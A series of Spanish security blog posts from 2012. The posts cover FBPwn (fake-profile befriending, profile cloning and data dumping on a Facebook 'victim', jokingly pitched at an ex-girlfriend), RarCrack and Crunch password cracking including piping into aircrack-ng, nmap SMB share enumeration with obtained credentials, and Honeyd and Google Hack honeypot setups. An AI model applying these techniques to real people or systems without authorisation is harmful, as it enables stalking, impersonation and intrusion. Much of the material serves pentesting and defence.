miércoles, 31 de octubre de 2012

FBPwn, si no hackeas a tu ex-girlfriend, investigala !!! xD

Todos sabemos lo doloroso, o no, que es una ruptura nupcial. Días de porno en casa a solas, mas porno, y así todos los días. En unos casos a unos le da por comer, y a otros por no comer xD.
Bueno, pues este post no tiene nada que ver con el amor, sino con una herramienta para usar la ingeniería social en Facebook.
El propósito de esta herramienta no es otro sino el de recopilar información de nuestra "víctima" y conocidos. Siendo este un blog de seguridad, y no de salsa rosa, se me ocurre utilizarlo para obtener conocimiento de una persona o empresa, para facilitarnos el trabajo de pentesting. Es decir, que no sirve para juacker Facebook.
Fbpwn lo podemos bajar de la web, en su versión gráfica-flamante-windowsera.
Lo instalamos y ejecutamos, y lo primero que tenemos que hacer es añadir una cuenta de facebook existente. Lo suyo es tener una blanca, limpia, para no levantar sospechas claro... PERO tiene que estar en idiomas ingles, y tienes que usar el nick de la cuenta, no el mail. Si creas un perfil "falso" para usarlo, tienes que tener el nick validado...


Una vez introducimos una cuenta válida, procedemos a atacar, como? dándole al botón ( estos usuarios !!!).
Nos aparece una ventana en la que indicamos la url al perfil que queremos atacar.
Punto y coma, esta herramienta no hace ningún tipo de magia,por ejemplo, si quieres ver fotos privadas de alguien que no tienes permiso, no vas a poder. Esta herramienta lo que hace es facilitar el trabajo. Por debajo trabaja con peticiones a la web de Facebook normales...Aquí es cuando muchos dejáis de leer xD.
bueno, la foto del menú.


Podemos elegir que módulos usar, pero lo suyo es saber más o menos que hacen xD:

- AddVictimFriends:  Con este plugin lo que hacemos es añadir automaticamente amigos de la víctima. La teoría es que si usamos un perfil "falsete", añadir amigos de la víctima para generar confianza a la hora de solicitar la amistad al perfil víctima.
- ProfileCloner: Copia toda la información pública de uno de los amigos de la víctima, para que la víctima acepte la solicitud.
- CheckFriendRequest: Comprueba si la cuenta falseta es amiga de la víctima. Constantemente la comprueba hasta que se produce la amistad.
- DumpFriends: Vuelca información PUBLICA de los amigos de la víctima. Insisto en lo de antes, si no es pública, esta herramienta no hace magia.
- DumpImages: Misma historia que arriba, pero con las imágenes y sus comentarios ( trabajo posterior de metadatos? )
- DumpInfo: Mismo pero con la información.
- DumpWall: Mismo que arriba pero con las publicaciones del muro
- DictionaryBuilder: Construye una lista de palabras obtenidas en los comentarios... Muy útil. Por ejemplo, en un auditoría de claves a Sheldon Cooper deberíamos usar "bazinga" ...A mi no me ha funcionado con los perfiles que he probado...
- CloseFriendsFinder: No he entendido muy bien este módulo, ya que se supone que contando comentarios en muro y etiquetas obtiene la información de número de contactos ( por si alguien no tiene bloqueado, pero si es una cuenta falseta? ).


Os recomiendo que probéis uno a uno los módulos, para saber que hacen. Indicarle una ruta válida para almacenar toda esta información. También he detectado que como no guarda las hojas de estilo, al ver la información volcada hay que trabajarlo un poco, pero es muy interesante esta herramienta. Para mi, lo mejor, lo de volcar información de muro, fotos e info en ficheros de texto, que luego podemos usar de base para crear una wordlist potente.

Como siempre, gracias por leerme.

martes, 30 de octubre de 2012

RarCrack...recuerda tus claves xD

Por todos es sabido que dada la cantidad de contraseñas que manejamos, puede ser muy frecuente que se nos "olvide" una clave de un fichero comprimido, tar, rar, zip... esta utilidad nos servirá perfectamente para recuperar nuestra contraseña.

En primer lugar la descargamos de la web oficial el fichero, lo descomprimimos tar -xjf fichero...
nos ubicamos en la carpeta, hacemos un make, y luego un make install...

la sintaxis es simple:
rarcrack fichero [--threads thread_num] [--type rar|zip|7z]

Por defecto el programa toma los caracteres de un fichero test.rar.xml. Para hacer esta prueba, he suprimido las mayúsculas y los números, ya que "recuerdo" que el fichero de pruebas lo comprimí con una clave débil.


Para 3 caracteres no ha tardado mucho... no obstante, he visto documentos en los que el hilo manejaba unas 100 claves/segundo. En mi caso, en una backtrack virtualizada con poco recursos, me daba este rendimiento.
Como siempre, gracias por leerme, y no olvides apuntar tus claves en post-it  !!! xD

lunes, 29 de octubre de 2012

Crunch...chocholate y claves !!!

Conoceis este snack? dicen que apenas engorda...Pués vamos a hablar un poco sobre esto.


Crunch es una herramienta para la generación de wordlist. Ya hemos hablado en este blog varias veces, 1, 2, 3 y 4 de herramientas para este tipo, pero creo que esta es de las más usadas.
Nos ubicamos en /pentest/passwords/crunch/ y si tenemos suerte, nos arranca... estas cosas de linux que no entiendo. Nadie en Backtrack miró esto? soy yo?. Para ponerlo en marcha he tenido que tirar de apt-get remove crunch y luego instalarlo otra vez... y ahora anda xD.
las opciones de la línea de comandos son:
-b  Maximum bytes to write per file, so using this option the wordlist to be created can be split into various
      sizes such as KB / MB / GB (must be used in combination with "-o START" switch)
-c  Number of lines to write to output file, must be used together with "-o START"
-d  Limits the number of consecutive identical characters (crunch v3.2)
-e Specifies when crunch should stop early (crunch v3.1)
-f  Path to the charset.lst file to use, standard location is '/pentest/passwords/crunch/charset.lst
    to be used in conjunction with the name of the desired charset list, such as 'mixalpha-numeric-space'
-i  Inverts the output sequence from left-to-right  to  right-to-left
    (So instead of aaa, aab, aac, aad etc, output would be aaa baa caa daa)
-l  When specifying custom patterns with the -t option, the -l switch allows you to identify which of the characters
    should be taken as a literal character instead of a place holder ( @,%^ )
-o  Allows you to specify the file name / location for the output, e.g. /media/flashdrive/wordlist.txt
-p  Prints permutations of the words or characters provided in the command line.
-q  Prints permutation of the words or characters found in a specified file
-r  Resumes from a previous session, exact same syntax to be used followed by -r
-s  Allows you to specify the starting string for your wordlist.
-t  Allows you to specify a specific pattern to use. Probably one of the most important functions !
     Place holders for fixed character sets are ;
     @   --  lower case alpha characters     ,    --   upper case alhpa characters     %   --  numeric characters    ^    --  special characters (including space) -u  Supresses the output of wordlist size & linecount prior starting wordlist generation.
-z  Adds support to compress the generation output, supports gzip, bzip & lzma
Vamos a hacer unas pruebas, que como sé que el Ingles no os gusta, y prefería lenguas exóticas. 语言研究的过去,现在和未来.Lo más básico es ./crunch 2 2. Tamaño mínimo y tamaño máximo. Para redirigirlo a un fichero, -o fichero.En todas las estadísticas que veo últimamente hablan de que la media de contraseñas usadas es entre 6 y 8 caracteres. Una opción que me parece muy interesante es el modificador de partir el fichero en varios, según el tamaño. lo hacemos con el modificador -b 1MB por ejemplo. si usamos esta opción, el comando debe acabar con START. ./crunch 3 4 -b 1MB -o START.De momento sin más parametros creará ficheros con letras minúsculas.si queremos usar otras combinaciones, tenemos que leer el fichero charset.lst y ver como llama a cada "modalidad" de tipos. por ejemplo, mayúsculas sería  -f charset.lst ualpha. Si queremos usar todas las combinaciones posibles de minúsculas, mayúsculas, números y caracteres raros, tiramos de -f charset.lst mixalpha-numeric-all-spacesi quiero usar una cadena de caracteres ya predefinida, por ejemplo, kino, pues ./crunch 4 10 kino y no usará todas las combinaciones posibles añadiendo la palabra kino, usara solo esas letras en la creación( kino,knoi,koin...)Si queremos hacer permutaciones, usaremos el switch -p, por ejemplo -p 0123456789 kinomakino 0123456789 probarlo xD.Otra opción interesante es -i, que invierte el sentido. Por ejemplo, si usamos ./crunch 4 4  -i empezará por aaaa, aaab, aaac. lo mismo nos interesa más usar aaaa,baaa,caaa. Genera el mismo número de palabras...Otro switch interesante es -r. si no lo poneis, y para probar meteis un rango grande, de mucho tiempo, y haceis control + c como se que os/nos gusta, no escribe en fichero. Para eso tenemos que decirselo antes con el -r.Tambien es muy sencillo usar los patrones, por ejemplo, si queremos usar números antes y después de kino. %%%%kino%%%%. Los "comodines son los que he puesto en rojo arriba.Otra opción muy interesante es redirigir ,as contraseñas creadas directamente al programa que queremos usar ... aunque no lo tengo muy claro, si es mejor crearlo por un lado y probarlo por otro, y no todo a la vez. ./crunch 5 5 -t %%%%% -u | aircrack-ng -e SSID -w - captura.capComo siempre decir que gracias por leerme, y que pruebes tus combinaciones favoritas xD.


OpenVpn on Backtrack...

Hace un tiempo que escribí una serie conceptos básicos para el uso de las VPN. Todos las usamos, pero vamos a realizar hoy una configuración básica para habilitar nuestras instalaciones de Backtrack en remoto de una manera mas o menos segura.

Por defecto viene instalado en /etc/openvpn/

El proceso es muy sencillo, y voy a seguir los pasos que he ido recopilando en los manuales oficiales, con el fín de demostrar lo fácil que es montarlo...

cd /etc/openvp
openvpn --genkey --secret secret.key

Creamos el fichero openvpn.conf
proto udp
port 1194
dev tun
ifconfig 10.0.0.1 10.0.0.2
secret /etc/openvpn/secret.key
cipher AES-128-CBC
user nobody
verb 3

copiamos los dos ficheros, secret.key y openvpn.conf  en el cliente.
Para esta prueba hemos usado como cliente una distribución ubuntu también con openvpn instalado, lo que haremos es crear una conexion servidor/cliente.

En el fichero de configuración del cliente añadimos la linea:
remote IP   ( la ip real del servidor openvpn) y cambiamos la linea de ifconfig para indicar que somos 10.0.0.2 y que el servidor es 10.0.0.1.
En el servidor y cliente ejecutamos openvpn --config /etc/openvpn/openvpn.conf o en su defecto la ubicación de nuestros ficheros.

Ip del extremo del tunel.
Proceso en el cliente ejecutando el tunel.
Escaneo del servidor VPN desde su ip pública.
No creo que ponga esto nunca en producción, porque me suele sobrar un servicio ssh para conectarme puntualmente, y en un entorno de usb 3g, cable conectado a router, o wi-fi mas o menos bien segura no creo que tenga muchos problemas.
Gracias por leerme.

miércoles, 24 de octubre de 2012

HoneyPot EASY. PART VI

Después del último post sobre Honeyd  quedan pendientes varias cosas a tener en cuenta antes de poner en producción nuestro servidor llorica.
Después de pelearme una semana entera con una instalación de Honeyd sobre windows, LA PRIMERA VEZ EN MI VIDA que me ha resultado más dificil instalar algo en windows que en linux. Ya comentaremos más cosas en otro post en la instalación sobre Linux.
Después de la pelea, he llegado a la conclusión que no se puede instalar correctamente Honeyd en Windows posterior a Sp2, es decir, no se puede instalar xD. Si puedes, y funciona, como habéis podido ver en el anterior post, pero debido a una modificación de Microsoft respecto a los raw sockets, no recibiremos respuesta alguna a nuestros intentos de conexion, ping etc.


Para probar el correcto funcionamiento del sistema, he decidido montarlo sobre una instalación nueva de windows 2003 server, que según fuentes de Microsoft, tiene soporte completo para trabajar con raw socket, y no como en windows 7 que SI mantiene raw socket, pero con algunas limitaciones que no he conseguido documentación sobre ellas.
Aparte, para eliminar los problemas con las tablas arp he decidido publicar el servidor 2003 "endulzado" haciendo una redirección de los puertos que me interesan hacia la ip del honeyd.
para simplificar el asunto, he abierto el puerto 84.


El puerto open 80 es el interface de administración del router de timofónica, que aunque está deshabilitado el acceso desde wan ( y comprobado xD) aparece open. Cosas de los Zyxell patateros.
Probando los scripts para emular servicios con cierto nivel de interactuación no he conseguido pasar los límites del router, ni en local.
No voy a seguir con esta serie de Honeyd sobre Windows, porque no he conseguido sacarle punta. No hay ningún tipo de soporte, ni oficial ni extraoficial, y después de dos meses de trabajo, llego a la conclusión de que no se puede hacer con sistemas post windows xp sp2, por mucho soporte de raw socket que microsoft diga que tiene.
En próximas entregas trabajaremos más con algún honeypot sobre windows, y montaremos el "pollo" de captura y monitorización sobre linux.

Gracias por leerme.

jueves, 18 de octubre de 2012

HoneyPot Easy. Parte V

HoneyPots a la de 1, a la de 2, a la de 3, a la de 4 y ahora a la de 5 !!!! que rima con telecinco...

Vamos a empezar por repasar la línea de comandos de Honeyd.

-d                     Do not daemonize, be verbose.
-P                     Enable polling mode.
-l logfile             Log packets and connections to logfile.
-s logfile             Logs service status output to logfile.
-i interface           Listen on interface.
-p file                Read nmap-style fingerprints from file.
-x file                Read xprobe-style fingerprints from file.
-a assocfile           Read nmap-xprobe associations from file.
-0 osfingerprints      Read pf-style OS fingerprints from file.
-f configfile          Read configuration from file.
-c host:port:name:pass Reports starts to collector.
--webserver-port=port  Port on which webserver listens.
--webserver-root=path  Root of document tree.
--fix-webserver-permissions Change ownership and permissions.
--rrdtool-path=path    Path to rrdtool.
--disable-webserver    Disables internal webserver.
--disable-update       Disables checking for security fixes.
-V, --version          Print program version and exit.
-W port                Honeyd web server prot.
-N                     Displays all available network interfaces.
-h, --help             Print this message and exit.


Ahora pasamos a la parte interesante, en la creación de plantillas, TEMPLATES, en donde configuramos las opciones relativas al comportamiento del honeypot para un servicio emulado: Personalidad del sistema operativo ( si quieres volverte un experto, loco, pero experto en este tema, te aconsejo que leas NMAP os detection), Ip virtual asignada para emular, comportamiento ante protocolos ICMP/TCP/UDP y variables del sistema como uptime,descripción,UID, etc.

Escribimos en un elegante a la par que simpático notepad lo siguiente

CREATE Windows2000sp3.

No es case sensitive, es decir, que le da igual mayúsculas que minúsculas.
No puede empezar el nombre con un número, no puede tener caracteres "raros" ni espacios en el nombre.

Es recomendable configurar primero CREATE DEFAULT <template> para definir el comportamiento por defecto en caso de no estar definido algún comportamiento específico.

Configuramos el comportamiento para las respuestas a un envio de FIN flag y para el envio de paquetes fragmentados.

ANNOTATE "Windows 2000 SP3
" [NO] FINSCANANNOTATE "Windows 2000 SP3" FRAGMENT <action>
Podemos omitir el comportamiento detallado con solo usar como "personality name" un nombre de personalidad válido (escrito exáctamente como aparece) en el fichero de firmas nmap-prints.
ANNOTATE Windows 2000 SP3.
Ahora vinculamos en nuestro "template" o plantilla que use esta personalidad.
SET <template name> PERSONALITY "<personality name>"SET Windows2000sp3 PERSONALITY "Windows 2000 SP3"

Le asignamos una dirección IP.
BIND <IP address(es)> <template name>BIND 10.0.0.1 Windows2000sp3

Cuando se detecte un ataque a una IP distinta, se comportará como definamos en Defautl Template.

 Ahora configuramos los puertos visibles y bloqueados ( emulando el compotamiento de un firewall por delante).

ADD Windows2000sp3 UDP PORT 135 BLOCK
ADD Windows2000sp3 UDP PORT 137 BLOCK
ADD Windows2000sp3 UDP PORT 138 BLOCK
ADD Windows2000sp3 UDP PORT 389 BLOCK
ADD Windows2000sp3 UDP PORT 445 BLOCK
ADD Windows2000sp3 UDP PORT 500 OPEN
ADD Windows2000sp3 UDP PORT 4500 OPEN


Con esto digamos que tendríamos una configuración de honeypot de MUY BAJA INTERACCION ya que simplemente aparecerán los puertos abiertos o cerrados, pero no se podrá interactuar con ellos.
Mejoramos la interacción añadiendo scripts que emulan respuestas de servicios. Por ejemplo, para seguir con esta configuración de emulación de un exchange publicado, configuramos.


ADD Windows2000sp3
TCP PORT 25 "sh c:\Honeyd\scripts\smtp.sh"

ADD Windows2000sp3 TCP PORT 80 "cscript.exe c:\Honeyd\scripts\iis6.cs"
ADD Windows2000sp3 TCP PORT 110 "sh c:\Honeyd\scripts\pop.sh"
ADD Windows2000sp3 TCP PORT 119 "perl.exe c:\Honeyd\scripts\nntp.pl" ADD Windows2000sp3 TCP PORT 143 "wscript.exe c:\Honeyd\scripts\imap.vbs"ADD Windows2000sp3
TCP PORT 443 "sh c:\Honeyd\scripts\ssl.sh"
Aparte de los scripts, podemos implementar alta interacción desviando peticiones/ataques hacia ip´s/puertos de sistemas reales. Por ejemplo, desviar un ataque hacia el puerto 21, a un servidor FTP real de nuestra organización.


ADD <
template name> <protocol> PORT <port number> PROXY <real server IP address port number >
Seguimos configurando comportamientos.
Tiempo "vivo" el servidor.
SET <template name> UPTIME <seconds>
Tasa de paquetes perdidos.
SET <template name> DROPRATE IN <%>
UID y GID
SET <template name> UID number GID number

Copio y pego un ejemplo ya hecho.


###Example Honeyd Template-Exchange Server 2003###
#Create and bind template
CREATE Exchange Server 2003
ANNOTATE "Microsoft Windows.NET Enterprise Server (build 3615 beta)"
SET Exchange Server 2003 PERSONALITY "Microsoft Windows.NET
Enterprise Server (build 3615 beta)"
BIND 10.0.0.1 Exchange Server 2003
#Set port behavior
SET DEFAULT Exchange Server 2003 TCP ACTION RESET
SET DEFAULT Exchange Server 2003 UDP ACTION RESET
ADD Exchange Server 2003 UDP PORT 135 BLOCK
ADD Exchange Server 2003 UDP PORT 137 BLOCK
ADD Exchange Server 2003 UDP PORT 138 BLOCK
ADD Exchange Server 2003 UDP PORT 389 BLOCK
ADD Exchange Server 2003 UDP PORT 445 BLOCK
ADD Exchange Server 2003 UDP PORT 500 OPEN
ADD Exchange Server 2003 UDP PORT 4500 OPEN
ADD Exchange Server 2003 TCP PORT 25 "sh c:\Honeyd\scripts\smtp.sh"
ADD Exchange Server 2003 TCP PORT 80 "cscript.exe c:\Honeyd\scripts\iis6.cs"
ADD Exchange Server 2003 TCP PORT 88 OPEN
ADD Exchange Server 2003 TCP PORT 110 "sh c:\Honeyd\scripts\pop.sh"
ADD Exchange Server 2003 TCP PORT 119 "perl.exe c:\Honeyd\scripts\nntp.pl"
ADD Exchange Server 2003 TCP PORT 143 "wscript.exe c:\Honeyd\scripts\imap.vbs"
ADD Exchange Server 2003 TCP PORT 135 BLOCK
ADD Exchange Server 2003 TCP PORT 137 BLOCK
ADD Exchange Server 2003 TCP PORT 139 BLOCK
ADD Exchange Server 2003 TCP PORT 443 "sh c:\Honeyd\scripts\ssl.sh"
ADD Exchange Server 2003 TCP PORT 445 BLOCK
ADD Exchange Server 2003 TCP PORT 593 OPEN
ADD Exchange Server 2003 TCP PORT 1063 OPEN
ADD Exchange Server 2003 TCP PORT 1071 OPEN
ADD Exchange Server 2003 TCP PORT 1073 OPEN
ADD Exchange Server 2003 TCP PORT 3389 OPEN
#Set template system variables
SET Exchange Server 2003 UPTIME 2248020
SET Exchange Server 2003 DROPRATE IN 0.005
SET Exchange Server 2003 UID 20208 GID 13876
###End of Exchange Server 2003 Example template###
  Una vez lo tenemos, lo guardamos en el fichero Honeyd.config a continuación de la plantilla default.
Vamos a lanzar el demonio, ese demonio que todos llevamos dentro xD:

honeyd.exe -d -p nmap.prints -a
NMAP.ASSOC
-f c:\Honeyd\Honeyd.config -i 1-l c:\Honeyd\Log 10.0.0.0/8

Ojo con las rutas, porque en casi todos los manuales hay varios fallos, por ejemplo nmaps.print ...
Si guardamos este comando en un fichero .bat. aunque sea peor para el número de visitas de esta web xD, no tendreis que recordar los parámetros...
Aparte, que os guste todo hecho. Vamos a repasar lo básico de networking.
si estamos en nuestra red, por ejemplo 192.168.1.0/24. Montamos el honeypot sobre un windows virtual, en modo bridge, por lo cual estaremos en esa misma red, con una ip por ejemplo 192.168.1.123. y una puerta de enlace, tal cual... si en ese equipo emulamos una red 10.0.0.0 con un equipo, en concreto este Exchange 10.0.0.1. Cuando probamos un ping o un ataque desde 192.168.1.123 a 10.0.0.1, se irá por la puerta de enlace 192.168.1.(por ejemplo 1) al router y no encontrará el equipo.
Es necesario indicar una ruta estática en el sistema atacante ( el que ejecuta nmap) en la que diga que para la red 10.0.0.0 ( segmento de red honeyd) use la ip ... del equipo sobre el que está instalado el honeypot !!!!

6 megas de fichero de log´s...


Como podeis apreciar, el registro del log es muy básico,  dirección ip de origen, puerto de origen, ip destino, puerto destino, tamaño del paquete y los flag´s detectados.

Espero terminar este asunto mañana, de momentos...gracias por leerme.
 





martes, 16 de octubre de 2012

HoneyPot Easy.Parte VII. Google Hack Honeypot.

Hoy vamos a hablar de un honeypot muy interesante a la par de fácil de configurar.
Os hablo de The GOOGLE HACK honeypot.
El concepto es muy sencillo. Lo que hacemos es subir un fichero php a un servidor php/mysql accesible desde internet el cual imita el comportamiento de una web de las "vulnerables" según la Google Hack Database. Podemos elegir entre las web´s "aparentemente vulnerables".
Una vez preparamos la parte del honeypot, introducimos en un recurso indexado por google, como pueda ser este post, para que lo indexe, y sea accesible ante ataques automáticos en busca de fallos registrados en GHD y ya tenemos una fuente de información más para añadir a nuestro sistema de honeypots.
Vamos a lio. Tenemos que descargar el motor del Honeypot. Creamos una base de datos en Mysql, creamos un usuario y clave, le damos permisos, y ejecutamos el script de creación de la tabla que registrará los log´s. Yo he tenido problemas con el script, en la parte de TYPE=MyISAM por lo que simplemente he borrado esa información.
CREATE TABLE `logs` (
 `ID` int(11) NOT NULL auto_increment,
 `Owner` varchar(255) NOT NULL default '',
 `Tripped` varchar(255) NOT NULL default '',
 `TimeOfAttack` datetime NOT NULL default '0000-00-00 00:00:00',
 `Host` varchar(255) NOT NULL default '',
 `RequestURI` varchar(255) NOT NULL default '',
 `Referrer` varchar(255) NOT NULL default '',
 `Accepts` varchar(255) NOT NULL default '',
 `AcceptsCharset` varchar(255) NOT NULL default '',
 `AcceptLanguage` varchar(255) NOT NULL default '',
 `Connection` varchar(255) NOT NULL default '',
 `keepalive` varchar(255) NOT NULL default '',
 `UserAgent` varchar(255) NOT NULL default '',
 `Signatures` varchar(255) NOT NULL default '',
 `Note` text NOT NULL,
 `Headers` text,
 PRIMARY KEY  (`ID`)
) TYPE=MyISAM;

Con el notepad o cualquier otro editor creamos un fichero .csv el cual ubicaremos en un directorio que no esté publicado.
en el fichero config.php del motor del honeypot escribimos la ruta hacia el fichero de logs.csv que hemos creado, y los datos de conexión para la base de datos mysql, lo típico, ip, usuario y contraseña. También cambiamos la variable $Owner con un nombre descriptivo del honeypot, como pueda ser ghd.
En la variable $LogType metemos Mysql para que los log´s los vuelque en la base de datos. Yo no he podido hacer que lo escriba en el fichero csv por problemas de permisos con mi hosting, pero seguro que vosotros podeis xD.
Yo he probado la instalación de un "GHD" que emula la instalación de un foro PHPBB.
http://www.exploit-db.com/ghdb/793/
Descomprimimos el fichero y lo ubicamos en el documento público del servidor web. Leyendo el README obtenemos cierta información de como ponerlo en marcha. Básicamente escribimos en el fichero install.php las variables: $ConfigFile donde indicamos el fichero config.php ( configuración del honeypot en general, no para este GHD) y $SafeReferer donde informamos donde tenemos puesto el link hacia este honeypot, para evitar falsos positivos de clicks legítimos.
Una vez tenemos configurado esto, a esperar que google indexe, y los juackers busquen.
Mientras tanto, para probarlo, vamos a llamar al fichero dominio.com/install/install.php a ver que vería un juacker.


y ahora vamos a ver que registra el log´s.


Como podéis ver registra que una veces he entrado directamente, y otras desde el sitio oculto en mi blog ( para facilitar el indexado lo tienes que "linkear").
Como lo detectan los scanners de vulnerabilidades.


En otra entrada hablaremos de más GHDatabase honeypots y la captura de malware.
Gracias por leerme !!!

sábado, 13 de octubre de 2012

HoneyPot EASY. Part IV.

Seguimos con la fabulosa seria de HoneyPot Easy  !!

HoneyPot Easy Parte I
HoneyPot Easy Parte II
HoneyPot Easy Parte III

Vamos a probar un despliegue, pollo, escenario o como te guste llamarlo con Honeyd, y todas las herramientas necesarias para la captura y análisis de tráfico de red.

Honeyd es un desarrollo originalmente basado en sistemas Unix/Linux GNU y muy popular y configurable.
Hay una versión portada a Windows, que es con la que vamos a trabajar. En la distribución Backtrack viene "de casa", pero me parece más interesante montarlo sobre windows, ya que creo que tengo más conocimientos del hardening de estos sistemas que sobre los Tux S.O´s. Además, quien no tiene por ahí un windows xp de evaluación de 180 días, o una licencia ...
HoneyD nos permite configurar cualquier servicio emulado, con los script´s existentes o facilitándonos la implementación de uno nuevo. Trabajo en todo el rango de puertos TCP.
Una de las ventajas de HoneyD sobre otras soluciones es que es capaz de emular cualquier IP atacada aunque no esté en uso. Imaginamos un entorno de red LAN de mascara 24 (255.255.255.0) con solo 100 hosts. El Honeypot es capaz de emular sistemas y servicios en todas las ip´s no usadas, contribuyendo al propósito del Honeypot en cuanto a "distraer" al atacante, y sobre todo, conseguir que el atacante efectue el ataque!!!
Según la ubicación o propósito del Honeypot, tenemos dos maneras de usar este concepto. Si instalamos el Honeypot en una DMZ, en la que no existe ningún equipo activo en ese segmento de red, enviaremos todo el trafico de red hacia el honeypot. Esto se denomina BlackHoling. Si por el contrario, queremos ubicar nuestro HoneyPot dentro de nuestro segmento de red de producción, tenemos que proporcionar a Honeyd una manera de saber que equipos están activos en la red, para permitir el tráfico legítimo hacia esos equipos, o si por el contrario se está realizando un ataque contra varias ip´s no activas, y no queremos dejar de escapar esta oportunidad para detectar tráfico, y queremos que honeyd responda. Se me ocurre que conociendo las técnicas de ARP Spoofin que usamos para ataques Man In The middle, podemos saber en todo momento que equipos están activos y discriminar el tráfico. Realizar esta tarea consume muchos más recursos que si usamos ARP proxy, es decir, el comando ARP -s identificando ip´s inactivas en la dirección MAC correcta del honeypot.
Depende usar una técnica u otra, dentro de un honeypot en un segmento de red en producción, creo que es si tienes más máquinas activas que inactivas. Si tienes 100 máquinas inactivas, mapearlas todas con la MAC del honeypot, pues es mas peñazo...
Otra de las funciones interesantes de Honeyd es que puede emular distintas implementaciones de sistemas operativos a nivel de pila TCP/IP a la vez, es decir, que a una petición FIN a un puerto, podemos hacer para un servicio emulado que responda, y para otro servicio que no responda... Cuantos sistemas operativos podemos emular? Mas de 400. Si queremos saber si existe la implementacion de algún S.O., podemos irnos al fichero nmap.prints para comprobar si Nmap "conoce" ese S.O.
Podemos dotar a Honeyd de algo más de interacción, usando los "subsistemas" que nos permiten instalar una aplicación concreta( un servidor apache? ) dentro de la red de nuestro honeypot.
Podemos instalar Honeyd solo con bajarnos la aplicación, ejecutar el fichero con los comandos y listo, pero vamos a ir un paso más alla, instalando todo el sistema de captura y análisis de red, dotando a Honeyd de un completo apoyo a la hora de estudiar las intrusiones, en todos los niveles de red, no solo en capa aplicación.
Descargamos e instalamos la última versión de WinPcap el driver de captura de red.
Descargamos e instalamos la última versión de CYGWIn,un conjunto de scripts para, como dicen en su web, dar un look más linuxero a los windows...
Nos descargamos e instalamos HoneyD la versión para windows. Descomprimimos el contenido del fichero en el raíz c: ( como le gusta a @1gbdeinformacion) que los usuarios guarden los ficheros xD.
Aunque la instalación viene con numerosos script´s de emulación de servicios, no está de mal pasarnos por contribuciones y descargarnos el "emulador" que nos apetezca.
Una vez instalados estos elementos, modificados el PATH de las variables del sistema y añadimos c:\cygwin\bin y c:\Honeyd  ( o el nombre que le hayas dado).
Antes de meternos de lleno en la configuración del honeypot, vamos a instalar un sistema de detección de intrusos, Snort, para ser más concretos. Queremos monitorizar de manera "sencilla" cuando nos escanean un puerto de la máquina honeypot, o cuando lanzan un ataque de denegación de servicio, un exploit cualquiera... No queremos quedarnos solo con los log´s de los servicios del honeyd.
Por qué usar un IDS si ya vamos a escuchar toda la red con WinPcap? Imaginaros un log de actividad de red, de un día entero. Vas a leer a pelo todas las tramas? las comunicaciones del servidor dhcp de la red? todos los intentos de usuario/contraseña, o solo te interesa analizar los buffer overflow attacks? Quieres saber mediante un correo electrónico cuando se está registrando actividad maliciosa en tu honeypot? Todo esto te lo proporciona un IDS. Seguimos con la instalación...
Cuando nos bajamos el fichero, no se si por "respeto" al mundo linux, pero tenemos que dar permisos de ejecución al fichero. Como podemos hacer esto? renombrando el fichero que nos descargamos a nombre.exe xD
Seguimos instalando aplicaciones, ahora es el turno del analizador de red Ethereal. Imagino que muchos preferís Wireshark, para gustos los colores.

En el siguiente post configuraremos unos cuantos servicios en honeyd, y configuraremos el resto de herramientas para la monitorizacion, loggin y alerta.
Se que estáis deseando ver comando y parámetros !!! estar atentos a próximas entregas.
Gracias por leerme.

miércoles, 10 de octubre de 2012

Google Hacking automático.Site Digger

Que Google es una herramienta más, por no decir de las mejores, para el escaneo pasivo de nuestros proyectos de pentest, es una realidad. Que hay muchas aplicaciones que recolectan este tipo de información, pues también es verdad. Que la mayoría de "scanners de vulnerabilidades webs" tiran de los famosos Dorks, más de lo mismo.

Hoy os presento Site Digger, de  Symantec !!!
El concepto es simple, busca ficheros y "cadenas de texto" en búsquedas relativas a un sitio, en busca de los fallos, o simplemente de la identificación de un servicio, de un CMS, tecnología y demás.

Apenas tiene configuración, Proxy y demás. Lo que no sé es para que meter un proxy, si las búsquedas las hace desde google... habrá que investigar si hace alguna otra comprobación, aunque lo dudo.

Para recordar un poco de conceptos sobre proxys y Tor como hicimos anteriormente, recordar que aunque tengáis instalado Vidalia para usar en vuestros Windows la navegación mediante redes tor, si no hacemos nada, Tor es un proxy Socks, de conexiones, y no un http proxy, por lo que si queremos usar "anonimato" al usar Site Digger, debemos usar por ejemplo POLIPO.

Gracias por leerme y dentro de poco volveré con unos post un poco más interesantes que este, ando Full de trabajo y proyectos.

lunes, 8 de octubre de 2012

Enumeracion de accesos SMB con NMAP

Imaginaros un escenario de pentest, en el que por cualquier medio hemos conseguido una clave de usuario , bien sea administrador o cualquiera,local o A.Directory. Como podríamos comprobar los permisos "efectivos" sobre las carpetas compartidas de las máquinas de toda la red, para ver si ese mismo usuario/clave local o dominio en un pc es el mismo en todos los pc´s de la red que auditamos. Nos vamos máquina a máquina y nos conectamos a recursos compartidos, bien sean conocidos o administrativos ($) y probamos el usuario/password, o nos buscamos a un becario que lo haga... smb-enum-shares.nse

nmap --script=smb-enum-shares.nse --script-args=smbuser=USUARIO,smbpass=CLAVE,smbbasic=1,smbtype=v1  -p445 -vv -Pn RANGO o IP 
Si le metemos un -iL archivo.txt para indicarle una lista de host, también vale. y como siempre, si queremos redirigir a un fichero, añadimos -oA archivo.txt.
 
 Como podéis ver, el usuario a con clave a no tiene acceso al recurso administrativo c$.
 
Si nos paseamos por la máquina y lo deshabilitamos.
 
 
Al lanzar el mismo script, nos da esta información.
 
 
Y si nos creamos una carpeta compartida, y le damos permisos a ese usuario.

Como veis, hay una carpeta llamada inseguros con permiso READ/WRITE.

Me parece muy interesante este script, si bien para probar típicas claves de usuarios no me parece tan efectivo, si para documentar de una manera muy sencilla la evidencia.
Si no le pasamos argumentos a la variable de nombre, nos comprueba el usuario "anonymous logon".
Como siempre, gracias por leerme.

 

domingo, 7 de octubre de 2012

Asistente de creación de Wordlist. Thad0ctor´s.

Ya hemos publicado por aquí alguna guía sobre herramientas para la creación de Worslist, como era CEWL, CUPP, who´s your daddy..

Pues ha llegado la madre del cordero, la madre de todas las madres, Thad0ctor´s
Es un script que instalado en distro. backtrack 5 ( aunque rula en cualquier ubuntu, el tema de rutas a programas puede ser caótico montarlo en otra disto.) nos facilita mediante menús, la creación de listas de contraseñas.

La instalación es muy sencilla, nos descargamos el zip, lo descomprimimos en nuestra carpeta favorita, con unzip y ejecutamos el script. El solito nos detecta las librerías instaladas.


Pero también nos propone instalar todas las dependencias que necesita.


Si pulsamos la opción 3, podemos ver la lista de scripts y técnicas disponibles  para ejecutar, hay mas de 60.


